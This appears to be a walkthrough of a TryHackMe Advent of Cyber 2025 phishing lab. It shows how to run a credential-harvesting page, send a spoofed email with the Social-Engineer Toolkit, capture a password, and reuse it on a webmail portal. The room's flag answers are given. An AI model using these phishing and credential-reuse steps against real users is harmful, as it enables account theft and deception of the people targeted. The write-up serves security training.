Phishing – Merry Clickmas Walkthrough

TryHackMe – Advent of Cyber 2025 Day 2#

Phishing – “Merry Clickmas”#

Goal: Run a phishing page, send a convincing email with SET, harvest creds, then check if those creds are reused on the email portal to find the toys count.

Lab IPs (example from my run):

  • Attacker (AttackBox): 10.49.90.194
  • Target (Roundcube Mail): 10.49.148.207

Replace with your own if different in the connection card.


0) TL;DR: Answers (from my run)#

  • Portal password (harvested): unranked-wisdom-anthem
  • Total toys expected: 1984000

(You’ll reproduce these via the steps below.)


1) Prep: Start the phishing web server#

The room provides a ready-made phishing portal + capture logic.

# Move to the room assets
cd ~/Rooms/AoC2025/Day02

# Sanity check files
ls -la
# Expect: index.html  server.py

# Launch the credential-capture server
./server.py

Expected output:

Starting server on http://0.0.0.0:8000

Verify it’s reachable#

From the AttackBox, open Firefox and browse to either:

  • http://127.0.0.1:8000
  • http://10.49.90.194:8000 (your AttackBox IP)

You should see a TBFC login page clone. Keep this terminal visible to catch posted credentials.


2) Deliver: Send the phishing email using SET#

Open a new terminal (don’t close server.py).

setoolkit

Then feed these exact options/inputs when prompted:

set> 1
# 1) Social-Engineering Attacks

set> 5
# 5) Mass Mailer Attack

set:mailer> 1
# 1) E-Mail Attack Single Email Address

Now answer the prompts exactly (adjust only IPs if yours differ):

set:phishing> Send email to: [email protected]

1. Use a Gmail account for your email attack.
2. Use your own server or open relay

set:phishing> 2
set:phishing> From address (ex: [email protected]): [email protected]
set:phishing> The FROM NAME the user will see: Flying Deer
set:phishing> Username for open-relay [blank]:
set:phishing> Password for open-relay [blank]:
set:phishing> SMTP email server address (ex. smtp.youremailserveryouown.com): 10.49.148.207
set:phishing> Port number for the SMTP server [25]:
set:phishing> Flag this message/s as high priority? [yes|no]: no
Do you want to attach a file - [y/n]: n
Do you want to attach an inline file - [y/n]: n
set:phishing> Email subject: Shipping Schedule Changes
set:phishing> Send the message as HTML or plain? 'h' or 'p' [p]:

IMPORTANT: When finished, type END (all capital) then hit {return} on a new line.

set:phishing> Enter the body of the message, type END (capitals) when finished:

Paste the message body (ensure the URL uses your AttackBox IP and port 8000):

Dear elves,
Kindly note that there have been significant changes to the shipping schedules due to increased shipping orders.
Please confirm the new schedule by visiting http://10.49.90.194:8000
Best regards,
Flying Deer
END

SET should confirm:

[*] SET has finished sending the emails
Press <return> to continue

You can exit SET or leave it open; the important part is the sent email.


3) Catch: Harvest credentials from the phishing page#

Switch back to the terminal running ./server.py. When the target “factory” follows the link and submits, you’ll see captured creds:

Example from my run:

[2025-12-02 17:30:02] Captured -> username: admin    password: unranked-wisdom-anthem    from: 10.49.148.207

Flag 1: The TBFC portal password is the captured password. From my run: unranked-wisdom-anthem


4) Pivot: Test password reuse on Roundcube (email portal)#

Open Firefox on the AttackBox and browse:

http://10.49.148.207

Try the harvested password with likely usernames:

  • factory / <harvested_password>
  • If that fails, try admin / <harvested_password>

In my run, the email portal accepted factory with the harvested password and the inbox showed the operational email.

Open the message:#

  • Subject example: “Urgent: Production & Shipping Request — 1984000 Units (Next 2 Weeks)”
  • From: marta
  • Date: varies (e.g., 2025-10-10)

Scroll/read to find the explicit toys count line. From my run:

Repeat confirmation: the total requested to be manufactured and shipped is 1984000 units.

Flag 2: 1984000


5) Useful one-liners & sanity checks#

If something doesn’t work, use these:

# Confirm server is listening on 8000
ss -lntp | grep 8000

# Quick HTTP header check to your phishing page
curl -I http://127.0.0.1:8000

# Verify SMTP port reachability on the target mail server
nc -vz 10.49.148.207 25

# If Firefox can't resolve a name, stick to raw IPs as above.

6) Notes on realism & OPSEC (why this works here)#

Pretext quality matters: We spoofed a shipper (“Flying Deer”) with a legit-sounding subject and workflow-appropriate request.

Link discipline: Training recommends “Type the address yourself.” The test simulates a user who clicked.

Password reuse: The room purposefully reuses the harvested password on the mail portal—very common in real orgs.

Capture logic: The provided server.py hosts a cloned page and prints posted creds—exactly what a credential harvester would do.


7) Screens/Outputs you should capture for your notes#

  • ./server.py start message and the captured creds line.
  • SET flow (menus + your inputs), especially the SMTP target and email body.
  • Roundcube inbox showing the email with the toys count.

8) Final Answers (confirm)#

Q1: What is the password used to access the TBFC portal?unranked-wisdom-anthem (from captured output)

Q2: What is the total number of toys expected for delivery?1984000 (from the Roundcube email)


9) Cleanup (optional)#

# Stop the phishing server (Ctrl+C in the server.py terminal)
# No persistent services are left running by default.

10) Takeaways#

  • Phishing success hinges on credible pretext + clean delivery.
  • Always test for credential reuse across internal portals.
  • Even with training, urgency + authority can push users into risky clicks.
  • Defensive counter: teach S.T.O.P. (Slow down, Type address, Open nothing unexpected, Prove sender).

Adapted from Jery0843/TryHackMe under MIT.

Find us elsewhere

Merch, stickers, and moreSupport the work at the Solvere Labs shop